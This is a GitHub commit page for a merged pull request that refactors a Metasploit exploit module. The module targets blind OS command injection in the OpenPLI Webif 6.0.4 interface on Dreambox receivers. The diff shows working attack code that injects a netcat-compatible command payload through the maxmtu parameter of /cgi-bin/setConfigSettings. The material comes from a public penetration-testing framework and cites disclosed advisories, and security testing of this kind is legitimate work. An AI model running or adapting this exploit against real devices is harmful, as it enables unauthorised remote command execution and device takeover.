Merge pull request #3 from jvazquez-r7/openpli_work

works very good
kernelsmith · Mar 14, 2013 · b4554d2 · b4554d2
2 parents 9366e3f + 6ccfa0e
commit b4554d2
Showing 1 changed file with 31 additions and 60 deletions.
diff --git a/modules/exploits/linux/http/dreambox_openpli_shell.rb b/modules/exploits/linux/http/dreambox_openpli_shell.rb
@@ -11,96 +11,67 @@
 class Metasploit3 < Msf::Exploit::Remote
 	Rank = GreatRanking
 
-	include Msf::Exploit::Remote::Tcp
 	include Msf::Exploit::Remote::HttpClient
 
 	def initialize(info = {})
 		super(update_info(info,
-			'Name'		   => 'OpenPLI Webif v6.0.4 - Arbitrary Command Execution',
-			'Description'	=> %q{
-					Some Dream Boxes with OpenPLI v3 beta Images are vulnerable to OS Command injection.
-
-					Tested on the following box:
-					* Linux Kernel	Linux version 2.6.9 (build@plibouwserver) (gcc version 3.4.4) 
-							#1 Wed Aug 17 23:54:07 CEST 2011
-					* Firmware	release 1.1.0, 27.01.2013
-					* FP Firmware	1.06
-					* Web Interface	6.0.4-Expert - PLi edition by [lite]
-
-					Note: This is a blind os command injection vulnerability. This means 
-					that you will not see any output of your command. Try a ping command 
-					to your local system for a first test.
+			'Name'          => 'OpenPLI Webif Arbitrary Command Execution',
+			'Description'   => %q{
+					Some Dream Boxes with OpenPLI v3 beta Images are vulnerable to OS command
+				injection in the Webif 6.0.4 Web Interface. This is a blind injection, which means
+				that you will not see any output of your command. A ping command can be used for
+				testing the vulnerability.  This module has been tested in a box with the next
+				features: Linux Kernel version 2.6.9 (build@plibouwserver) (gcc version 3.4.4) #1
+				Wed Aug 17 23:54:07 CEST 2011, Firmware release 1.1.0 (27.01.2013), FP Firmware
+				1.06 and Web Interface 6.0.4-Expert (PLi edition).
 			},
-			'Author'		 => [ 'm-1-k-3' ],
-			'License'		=> MSF_LICENSE,
-			'References'	 =>
+			'Author'        => [ 'm-1-k-3' ],
+			'License'       => MSF_LICENSE,
+			'References'    =>
 				[
-					[ 'URL', 'http://openpli.org/' ],
-					[ 'URL', 'http://openpli.org/wiki/Webif' ],
-					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-007' ],
-					[ 'EDB', '24498' ],
+					[ 'OSVDB', '90230' ],
 					[ 'BID', '57943' ],
-					[ 'OSVDB', '90230']
+					[ 'EDB', '24498' ],
+					[ 'URL', 'http://openpli.org/wiki/Webif' ],
+					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-007' ]
 				],
 			'Platform'	   => ['unix', 'linux'],
-			'Arch'		   => ARCH_CMD,
-			'Privileged'	 => true,
-			'Payload'		=>
+			'Arch'         => ARCH_CMD,
+			'Privileged'   => true,
+			'Payload'      =>
 				{
-					'Space'	   => 1024,
+					'Space'       => 1024,
 					'DisableNops' => true,
-					'Compat'	  =>
+					'Compat'      =>
 						{
 							'PayloadType' => 'cmd',
 							'RequiredCmd' => 'netcat generic'
 						}
 				},
-			'Targets'		=>
+			'Targets'      =>
 				[
 					[ 'Automatic Target', { }]
 				],
 			'DefaultTarget' => 0,
 			'DisclosureDate' => 'Feb 08 2013'
 		))
-
-		register_options(
-			[
-				Opt::RPORT(80),
-			], self.class)
 	end
 
 	def exploit
-		connect
-
-		payl = datastore['PAYLOAD']
-
-		uri = '/cgi-bin/setConfigSettings'
-
-		cmd = Rex::Text.uri_encode(payload.encoded)
-
-		vprint_status("#{rhost}:#{rport} - Sending remote command ... \nCommand: #{cmd}")
-		vprint_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state\n")
-
-		data_cmd = "?maxmtu=1500%26#{cmd}%26"
-
+		print_status("#{rhost}:#{rport} - Sending remote command...")
+		vprint_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
 		begin
-			res = send_request_cgi(
-					{
-					'uri'	=> uri << data_cmd,
+			send_request_cgi(
+				{
+					'uri'    => normalize_uri("cgi-bin", "setConfigSettings"),
 					'method' => 'GET',
+					'vars_get' => {
+						"maxmtu" => "1500&#{payload.encoded}&"
+					}
 				})
 
 		rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
-			print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
-			return
-		end
-
-		if not res
-			print_error("#{rhost}:#{rport} - HTTP Connection Error, Aborting")
-			return
+			fail_with(Msf::Exploit::Failure::Unreachable, "#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
 		end
-
-		handler
-		disconnect
 	end
 end